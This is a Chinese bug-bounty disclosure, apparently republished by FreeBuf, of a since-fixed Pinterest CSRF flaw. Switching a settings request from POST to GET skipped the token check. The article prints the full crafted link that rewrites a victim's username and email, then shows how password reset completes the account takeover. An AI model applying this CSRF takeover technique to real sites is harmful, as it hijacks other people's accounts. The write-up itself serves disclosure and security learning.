看我如何发现Pinterest任意账号劫持漏洞

2019 年 1 月 23 日 FreeBuf

本文分享的是关于美国图片社交网站Pinterest的一个账号劫持漏洞,漏洞原因主要在于可以构造跨站请求伪造(CSRF)攻击,更改任意用户的邮箱ID和用户名,以此实现账号劫持。对于每月有2.5亿活跃用户的Pinterest网站来说,该漏洞影响非常严重。本文的漏洞披露已经Pinterest官方允许,其中提及的账户仅为测试账户。

Pinterest是美国热门的图片社交网站,Pinterest堪称图片版Twitter,网民可以将感兴趣的图片在Pinterest保存,其他网友可以关注,也可以转发图片。

漏洞原因

当我在浏览“https://www.pinterest.com”主站时,偶然发现,其中的CSRF令牌(token)通过http头的“X-CSRFToken”进行传输,为了验证CSRF令牌的应用实现机制,我在BurpSuite中构造了以下请求,来对用户的一些设置进行更改。

POST /_ngjs/resource/UserSettingsResource/update/ HTTP/1.1Host: www.pinterest.comContent-Type: application/x-www-form-urlencodedX-CSRFToken: <CSRF Token>……..……..<POST Parameters>

首先,在以上POST请求中,我尝试着把“X-CSRFToken”头去掉,然后转发出去,反馈回来的响应错误为:“/resource/UserSettingsResource/update/ didn’t finish after 8 seconds”,也就意味着,这种方式下,CSRF令牌可能正在被验证。

接下来,我把POST请求改为GET请求,并且仍然去掉了”X-CSRFToken”头,并转发出去,这一次反馈回来的响应就是有效的“200 ok” 了。

够明白的了,当把POST请求转变为GET之后,CSRF令牌就不会被Pinterest服务端验证。而且,经我测试发现,Pinterest应用的多个服务端都存在这种CSRF漏洞隐患。

账号劫持

由于这是一个基于CSRF的GET请求,基于Pinterest的各种服务端元素,我们要做的就是构造形同以下的一个链接即可,在BurpSuite中可用“change request method”选项来方便地构造。

“https://www.pinterest.com/_ngjs/resource/UserSettingsResource/update/?source_url=%2Fsettings%2F&data=%7B%22options%22%3A%7B%22impressum_url%22%3Anull%2C%22last_name%22%3A%22dummy%22%2C%22custom_gender%22%3Anull%2C%22locale%22%3A%22en-US%22%2C%22has_password%22%3Atrue%2C%22email_settings%22%3A%22Everything+%28except+emails+you%27ve+turned+off%29%22%2C%22news_settings%22%3A%22Activity+from+other+people+on+Pinterest%22%2C%22id%22%3A%22%22%2C%22is_write_banned%22%3Afalse%2C%22first_name%22%3A%22dummyuser%22%2C%22push_settings%22%3A%22Everything+%28except+push+you%27ve+turned+off%29%22%2C%22personalize_from_offsite_browsing%22%3Atrue%2C%22facebook_timeline_enabled%22%3Afalse%2C%22email_changing_to%22%3Anull%2C%22personalize_nux_from_offsite_browsing%22%3Afalse%2C%22is_tastemaker%22%3Afalse%2C%22type%22%3A%22user_settings%22%2C%22%22%2C%22website_url%22%3A%22%22%2C%22location%22%3A%22%22%2C%22%22%2C%22pfy_preference%22%3Atrue%2C%22facebook_publish_stream_enabled%22%3Afalse%2C%22email_bounced%22%3Afalse%2C%22is_partner%22%3Anull%2C%22ads_customize_from_conversion%22%3Atrue%2C%22additional_website_urls%22%3A%5B%5D%2C%22about%22%3A%22test%22%2C%22gender%22%3A%22male%22%2C%22age%22%3Anull%2C%22exclude_from_search%22%3Afalse%2C%22birthdate%22%3Anull%2C%22show_impressum%22%3Afalse%2C%22email_biz_settings%22%3A%22Everything+%28includes+announcements%2C+expert+tips%2C+creative+ideas%2C+and+more%29%22%2C%22country%22%3A%22IN%22%2C%22hide_from_news%22%3Afalse%2C%22collaborative_boards%22%3A%5B%5D%7D%2C%22context%22%3A%7B%7D%7D”

任意Pinterest用户点击以上链接之后,其用户名和注册邮箱会分别被更改为“dummyuser”和“anytestemail@user.com” ,当然了,anytestemail@user.com是我控制的一个合法邮箱。

以上攻击奏效之后,我再浏览以下Pinterest的密码重置链接:

https://www.pinterest.com/password/reset/

然后,我登录我控制的这个anytestemail@user.com邮箱,获取到Pinterest发送给我的用户密码重置链接,重置密码,接下来就能用dummyuser用户名和新密码登录受害者账号,完美实现劫持。

漏洞上报进程

感谢 Pinterest 安全团队对该漏洞的重视。

2018.12.1   漏洞上报

2018.12.7  漏洞分类

2018.12.7  Pinterest发放我$2400美金奖励

2018.12.7  漏洞修复

*参考来源:infosecflash,clouds编译,转载请注明来自FreeBuf.COM

登录查看更多
0

相关内容

Pinterest 是一个自称“个人版猎酷工具”的视觉社交目录网站,看起来像是一面虚拟的灵感墙,收藏丰富多元的设计、视觉艺术图片。  pinterest.com
【KDD2020】自适应多通道图卷积神经网络
专知会员服务
119+阅读 · 2020年7月9日
近期必读的五篇KDD 2020【图神经网络 (GNN) 】相关论文_Part2
专知会员服务
160+阅读 · 2020年6月30日
【SIGMOD2020-腾讯】Web规模本体可扩展构建
专知会员服务
29+阅读 · 2020年4月12日
近期必读的5篇顶会WWW2020【推荐系统】相关论文-Part2
专知会员服务
69+阅读 · 2020年4月7日
近期必读的6篇AI顶会WWW2020【推荐系统】相关论文
专知会员服务
56+阅读 · 2020年2月25日
《DeepGCNs: Making GCNs Go as Deep as CNNs》
专知会员服务
30+阅读 · 2019年10月17日
msf实现linux shell反弹
黑白之道
49+阅读 · 2019年8月16日
Web渗透测试Fuzz字典分享
黑白之道
20+阅读 · 2019年5月22日
Kali Linux 渗透测试:密码攻击
计算机与网络安全
16+阅读 · 2019年5月13日
基于Web页面验证码机制漏洞的检测
FreeBuf
7+阅读 · 2019年3月15日
被动DNS,一个被忽视的安全利器
运维帮
11+阅读 · 2019年3月8日
如何编写完美的 Python 命令行程序?
CSDN
5+阅读 · 2019年1月19日
DiscuzX 3.4 Phar反序列化漏洞
黑客工具箱
8+阅读 · 2019年1月4日
如何用GitLab本地私有化部署代码库?
Python程序员
9+阅读 · 2018年12月29日
Knowledge Flow: Improve Upon Your Teachers
Arxiv
5+阅读 · 2019年4月11日
Arxiv
10+阅读 · 2018年2月4日
Arxiv
5+阅读 · 2015年9月14日
VIP会员
相关VIP内容
【KDD2020】自适应多通道图卷积神经网络
专知会员服务
119+阅读 · 2020年7月9日
近期必读的五篇KDD 2020【图神经网络 (GNN) 】相关论文_Part2
专知会员服务
160+阅读 · 2020年6月30日
【SIGMOD2020-腾讯】Web规模本体可扩展构建
专知会员服务
29+阅读 · 2020年4月12日
近期必读的5篇顶会WWW2020【推荐系统】相关论文-Part2
专知会员服务
69+阅读 · 2020年4月7日
近期必读的6篇AI顶会WWW2020【推荐系统】相关论文
专知会员服务
56+阅读 · 2020年2月25日
《DeepGCNs: Making GCNs Go as Deep as CNNs》
专知会员服务
30+阅读 · 2019年10月17日
相关资讯
msf实现linux shell反弹
黑白之道
49+阅读 · 2019年8月16日
Web渗透测试Fuzz字典分享
黑白之道
20+阅读 · 2019年5月22日
Kali Linux 渗透测试:密码攻击
计算机与网络安全
16+阅读 · 2019年5月13日
基于Web页面验证码机制漏洞的检测
FreeBuf
7+阅读 · 2019年3月15日
被动DNS,一个被忽视的安全利器
运维帮
11+阅读 · 2019年3月8日
如何编写完美的 Python 命令行程序?
CSDN
5+阅读 · 2019年1月19日
DiscuzX 3.4 Phar反序列化漏洞
黑客工具箱
8+阅读 · 2019年1月4日
如何用GitLab本地私有化部署代码库?
Python程序员
9+阅读 · 2018年12月29日
Top
微信扫码咨询专知VIP会员